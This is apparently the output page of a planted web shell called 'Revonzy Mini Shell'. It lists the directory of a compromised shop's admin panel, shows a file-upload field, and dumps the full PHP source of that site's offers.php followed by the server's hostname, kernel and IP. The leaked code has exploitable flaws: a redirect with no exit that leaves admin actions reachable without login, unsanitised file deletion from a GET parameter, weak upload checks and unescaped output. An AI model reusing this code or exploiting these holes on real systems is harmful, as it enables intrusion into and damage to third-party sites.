Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/balajimall.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/balajimall.com/admin/offers.php

<?php
	require_once("../lib/functions.php");
	$db = new login_function();
	$flag = 0;
	$e_date="";
	$success_msg = 0;
	$links   	   = "";
	$image_error 	= "";
	$images = "";
	$e_time = "";
	$s_time = "";
	$offer_date = "";
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	if(isset($_POST['add_btn']))
	{	
		$links			= $_POST['links'];
		$offer_date		= $_POST['offer_date'];
		$s_time			= $_POST['s_time'];
		$e_time			= $_POST['e_time'];
		$valid_formats = array("jpg","png","gif","bmp","jpeg","JPEG","JPG","BMP","PNG","GIF");
	
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			$name 				= 	$_FILES['picture']['name'];
			$size 				= 	$_FILES['picture']['size'];

			if(strlen($name))
			{				
				list($txt, $ext) = explode(".", $name);
						
				if(in_array($ext,$valid_formats))
				{
					$files	=	array();

					function generateRandomString($length = 10) {
								$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
								$charactersLength = strlen($characters);
								$randomString = '';
								for ($i = 0; $i < $length; $i++) 
								{
									$randomString .= $characters[rand(0, $charactersLength - 1)];
								}
								return $randomString;
							}
							
							$current_random_string = generateRandomString();
							
							$advertise_picture = $current_random_string.".".strtolower($ext);						

							$tmp = $_FILES['picture']['tmp_name'];
							
							$img_Dir = "../offers/";
							
							if(!file_exists($img_Dir))
							{
								mkdir($img_Dir);
							}
							
							if(move_uploaded_file($tmp,$img_Dir.$advertise_picture))
							{
								
							}
							else
							{
								$image_error	=	"failed" ;
								$flag				=	1;
							}	
						}
						else
						{
							$image_error	= "Invalid file format";
							$flag				=	1;	
						}	
					}	
					else
					{
						$flag	=	1;
					}
			}
		if($flag == 0)
		{
			if($db->add_new_hours_offers($offer_date,$s_time,$e_time,$advertise_picture,$links))
			{
				$success_msg = 1 ;
				$links 		= "";
				$e_time = "";
				$s_time = "";
				$offer_date = "";
				
			}
		}
	}
	if(isset($_GET['delete_id']) AND isset($_GET['image']))
	{
		$del_id	=	$_GET['delete_id'];
		$image	=	$_GET['image'];
		unlink("../offers/".$image);
		$db->delete_offers_info($del_id);
		header("Location:offers.php");
		$success_msg	=	2;
	}
?>
<?php
	require_once('header.php');
?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header"> 1 Hours Offers </h1>
					<?php
					if($success_msg == 1)
					{
					?>
					<div class="alert alert-success">
						Information Updated Successfully.
					</div>
					<?php
					}
					?>
					
					
					
                </div>
                
            </div>
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                            1 Hours Offers
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-6">
                                    <form role="form" method="post" enctype="multipart/form-data">
										<div class="form-group">
                                            <label>Select Offer Date</label>
                                            <input class="form-control"  name="offer_date" type="date" value="<?php echo $offer_date; ?>" required>
										</div>
										<div class="form-group">
                                            <label>Start Time</label>
                                            <input class="form-control" placeholder="Enter Start Time" name="s_time" type="text" value="<?php echo $s_time; ?>" required>
										</div>
										<div class="form-group">
                                            <label>End Time</label>
                                            <input class="form-control" placeholder="Enter End Time" name="e_time" type="text" value="<?php echo $e_time; ?>" required>
										</div>
										<div class="form-group">
                                            <label>Attachment</label>
											
                                            <input class="form-control" name="picture" type="file" required></center>
											<span style="color:red;"><?php echo $image_error; ?></span> 
										</div>
										<div class="form-group">
                                            <label>Links</label>
                                            <input class="form-control" placeholder="Enter Links" name="links" type="text" value="<?php echo $links; ?>" required>
										</div>
									
											<button type="submit" class="btn btn-success" name="add_btn">Add Offers</button>	<br /><br />
                                    </form>
                                </div>
								</div>
						<div class="panel-body">
                            <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover" id="table2excel">
                                    <thead>
									
                                        <tr class="noExl">
                                            <th width="20">Sr. No</th>											   
											<th>Select Data</th>
											<th width="50">Start Time</th>
											<th width="50">End Time</th>
											<th width="50">Attachment</th>
											<th width="50">Links</th>
											<th width="50">Action</th>
											<th width="50">Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
									<?php
									
										$report_details = $db->get_all_offers();
										if(!empty($report_details))
										{
											$counter =0;
											foreach($report_details as $record)
											{
												$id				=	$report_details[$counter][0];
												$offer_date		=	$report_details[$counter][1];
												$s_time			=	$report_details[$counter][2];
												$e_time			=	$report_details[$counter][3];
												$images			=	$report_details[$counter][4];
												$links			=	$report_details[$counter][5];
												
									?>
                                        <tr>
                                            <td><?php echo $counter+1; ?></td>
											<td><?php echo $offer_date; ?></td>
											<td><?php echo $s_time; ?></td>
											<td><?php echo $e_time; ?></td>
											<td><?php
												if($images != "")
												{
											?>	
											<a href="/offers/<?php echo $images; ?>" target="_balnk"><img src="/offers/<?php echo $images; ?>" height="90" width="90"></a>
											<?php
												}
												else
												{
												?>
												<img src="/images/no_image_available.png" height="90" width="90">
												<?php
												}
												?></td>
												<td><?php echo $links; ?></td>
											<td><a href="update-offers.php?up_id=<?php echo $id; ?>">Edit</a></td>
                                            <td><a href="offers.php?delete_id=<?php echo $id;?>&image=<?php echo $images; ?>" onclick="return confirm('Are you sure?');">Delete</a></td>
										</tr>
                                       <?php
										$counter ++;
											}
										}else
										{
										?>
										<td colspan="11">No Data Found...</td>
										<?php
										}
									   
									   
									   ?>
                                    </tbody>
                                </table>

                            </div>
                                
                                   
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
					   
                               
                                
                            </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4